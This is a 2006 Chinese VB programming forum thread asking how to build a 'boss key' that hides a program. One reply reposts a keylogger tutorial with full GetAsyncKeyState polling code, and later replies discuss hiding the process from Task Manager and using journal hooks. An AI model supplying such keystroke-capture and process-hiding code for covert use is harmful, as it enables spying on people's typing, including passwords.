| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1275 人关注过本帖
标题:关于老板键
只看楼主 加入收藏
me4405801
Rank: 2
等 级:论坛游民
帖 子:37
专家分:17
注 册:2006-8-31
结帖率:100%
收藏
 问题点数:0 回复次数:7 
关于老板键
请问那位大侠知道怎样用vb实现老板键的功能?

众所周知,所谓老板键就是一个快捷键,按下时主程序会被隐藏,而且在任务管理器的“正在运行的程序”中也找不到它的身影,再次按下主程序就会被重新调出。

敬请高手不吝赐教!!谢谢!!拜托!!
搜索更多相关主题的帖子: 老板 
2006-08-31 15:44
学习VB才2天
Rank: 5Rank: 5
等 级:贵宾
威 望:16
帖 子:1653
专家分:0
注 册:2006-5-4
收藏
得分:0 

VB编写键盘记录器
dafei7787 原创于2006年6月27日 16:22

VB编写键盘记录器

这个程序主要是利用GetAsyncKeyState函数,
使用GetAsyncKeyState可以获得键盘的动作。
GetAsyncKeyState函数根据虚拟键表判断按键的类型。
返回值为一个16位的二进值数,如果被按下则最高位为1,
即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
好了,函数就先介绍这么多,下面开始动手实战了
first,当然是创建窗口了


在时间控件的Timer时间中定义检查按键类型,代码如下:
Dim AddKey
KeyResult = GetAsyncKeyState(13) '回车键
If KeyResult = -32767 Then
AddKey = "[ENTER]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(17) 'Ctrl键
If KeyResult = -32767 Then
AddKey = "[CTRL]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8) '退格键
If KeyResult = -32767 Then
AddKey = "[BKSPACE]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
AddKey = "[TAB]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(18)
If KeyResult = -32767 Then
AddKey = "[ALT]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(19)
If KeyResult = -32767 Then
AddKey = "[PAUSE]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(20)
If KeyResult = -32767 Then
AddKey = "[CAPS]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(27)
If KeyResult = -32767 Then
AddKey = "[ESC]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(33)
If KeyResult = -32767 Then
AddKey = "[PGUP]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(34)
If KeyResult = -32767 Then
AddKey = "[PGDN]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(35)
If KeyResult = -32767 Then
AddKey = "[END]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(36)
If KeyResult = -32767 Then
AddKey = "[HOME]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(44)
If KeyResult = -32767 Then
AddKey = "[SYSRQ]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(45)
If KeyResult = -32767 Then
AddKey = "[INS]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(46)
If KeyResult = -32767 Then
AddKey = "[DEL]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(144)
If KeyResult = -32767 Then
AddKey = "[NUM]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(37)
If KeyResult = -32767 Then
AddKey = "[align=LEFT]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(38)
If KeyResult = -32767 Then
AddKey = "[UP]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(39)
If KeyResult = -32767 Then
AddKey = "[align=RIGHT]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(40)
If KeyResult = -32767 Then
AddKey = "[DOWN]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
AddKey = "[F1]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
AddKey = "[F2]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
AddKey = "[F3]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
AddKey = "[F4]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
AddKey = "[F5]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
AddKey = "[F6]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
AddKey = "[F7]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
AddKey = "[F8]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
AddKey = "[F9]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
AddKey = "[F10]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
AddKey = "[F11]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
AddKey = "[F12]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(124)
If KeyResult = -32767 Then
AddKey = "[F13]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(125)
If KeyResult = -32767 Then
AddKey = "[F14]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(126)
If KeyResult = -32767 Then
AddKey = "[F15]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(127)
If KeyResult = -32767 Then
AddKey = "[F16]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey = " "
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
AddKey = ";"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
AddKey = "="
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
AddKey = ","
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
AddKey = "-"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
AddKey = "."
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
AddKey = "/" '/
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(192)
If KeyResult = -32767 Then
AddKey = "`" '`
GoTo KeyFound
End If

'----------NUM PAD
KeyResult = GetAsyncKeyState(96)
If KeyResult = -32767 Then
AddKey = "0"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(97)
If KeyResult = -32767 Then
AddKey = "1"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(98)
If KeyResult = -32767 Then
AddKey = "2"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(99)
If KeyResult = -32767 Then
AddKey = "3"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(100)
If KeyResult = -32767 Then
AddKey = "4"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(101)
If KeyResult = -32767 Then
AddKey = "5"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(102)
If KeyResult = -32767 Then
AddKey = "6"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(103)
If KeyResult = -32767 Then
AddKey = "7"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(104)
If KeyResult = -32767 Then
AddKey = "8"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(105)
If KeyResult = -32767 Then
AddKey = "9"
GoTo KeyFound
End If


KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
AddKey = "*"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
AddKey = "+"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(108)
If KeyResult = -32767 Then
AddKey = "[ENTER]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
AddKey = "-"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
AddKey = "."
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(2)
If KeyResult = -32767 Then
AddKey = "/"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
AddKey = "\"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
AddKey = "'"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
AddKey = "]"


GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(219)
If KeyResult = -32767 Then
AddKey = "["
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(16) 'shift键
If KeyResult = -32767 And TimeOut = 0 Then
AddKey = "[SHIFT]"
LastKey = AddKey
TimeOut = 1
GoTo KeyFound
End If

KeyLoop = 41

Do Until KeyLoop = 256 ' 显示其他键
KeyResult = GetAsyncKeyState(KeyLoop)
If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)
KeyLoop = KeyLoop + 1
Loop
LastKey = AddKey
Exit Sub
KeyFound: '显示键的信息

Text1 = Text1 & AddKey
End Sub
上面的()里面的数字实际是就是那些键的Ascii码,比如13就代表回车,17代表Ctrl,……
由于数目太多,一一列举不方便
下面是其他的事件
Private Sub Timer2_Timer()
TimeOut = 0
End Sub
目的是随时刷新清空
记录键盘输入后就准备你自己所设定的程序了。。。


例如:按ENTER 
当VB检测到信息后执行相应的操作。。。


[GLOW=255,DeepPink,3]我的免费网盘[/GLOW]
2006-08-31 16:56
me4405801
Rank: 2
等 级:论坛游民
帖 子:37
专家分:17
注 册:2006-8-31
收藏
得分:0 

那么怎样隐藏主程序,使它在任务管理器的“正在运行的应用程序”中也找不到呢?
2006-08-31 17:15
syh878
Rank: 1
等 级:新手上路
威 望:2
帖 子:461
专家分:0
注 册:2005-9-2
收藏
得分:0 

简单的就是App.TaskVisible = False(不能真真隐藏进程)
真真隐藏的话在xp里是很难的.


2006-08-31 17:45
syh878
Rank: 1
等 级:新手上路
威 望:2
帖 子:461
专家分:0
注 册:2005-9-2
收藏
得分:0 

2006-08-31 17:48
me4405801
Rank: 2
等 级:论坛游民
帖 子:37
专家分:17
注 册:2006-8-31
收藏
得分:0 

哎呀,真是高手啊。一定可以做专业的程序员了。

哎,我什么时候才能达到那个水平啊,虽然我也看了不少关于API的文章,但API既多又复杂,我看过之后又不是经常用,也没系统的学习过,不久就忘了。

包括VBSCRIPT里面有一点也是,像dim a=createobject(wscript.shell)之类的我就根本不知道在哪系统地学习。

其实我的自学水平也不差,VB也完全是我自学的,但是我就是不知道要看什么样的书呀!!

真是痛苦啊…………
2006-08-31 19:10
学习VB才2天
Rank: 5Rank: 5
等 级:贵宾
威 望:16
帖 子:1653
专家分:0
注 册:2006-5-4
收藏
得分:0 
楼上的  我也是自学  现在也已经有2个月了    水准不知道  不过一般的程序  和常用的API都能够使用了...

[GLOW=255,DeepPink,3]我的免费网盘[/GLOW]
2006-09-01 07:30
me4405801
Rank: 2
等 级:论坛游民
帖 子:37
专家分:17
注 册:2006-8-31
收藏
得分:0 
hook
2楼朋友的代码的确可行,但是用timer反复刷新可能会消耗一定的系统时间,我个人认为用JournalRecordhook可能比较方便,然而我对hook的使用还不太熟悉,有谁知道具体的代码怎么写?

7楼的朋友,你知道吗?
2006-09-02 13:16
快速回复:关于老板键
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.020754 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved